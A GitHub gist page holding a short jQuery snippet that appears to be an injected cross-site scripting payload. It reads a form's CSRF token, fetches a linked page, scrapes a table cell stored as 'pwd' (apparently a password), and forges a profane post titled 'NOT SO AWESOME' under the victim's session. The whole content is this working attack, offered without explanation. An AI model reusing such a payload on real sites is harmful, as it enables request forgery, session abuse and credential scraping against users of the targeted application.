Skip to content

Instantly share code, notes, and snippets.

@eskerda
Created August 28, 2012 12:23
Show Gist options
  • Save eskerda/3497621 to your computer and use it in GitHub Desktop.
Save eskerda/3497621 to your computer and use it in GitHub Desktop.
$(function(){
var action = $('#new_post').attr('action');
var csrf = $('#new_post input[name=_csrf]').val();
var url = $('table a').attr('href');
$.get(url,function(response){
var html = $(response);
var pwd = html.find('td')[0].innerText;
$.post(action, {_csrf: csrf, title: "NOT SO AWESOME", body:"FUCK YOU"});
});});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment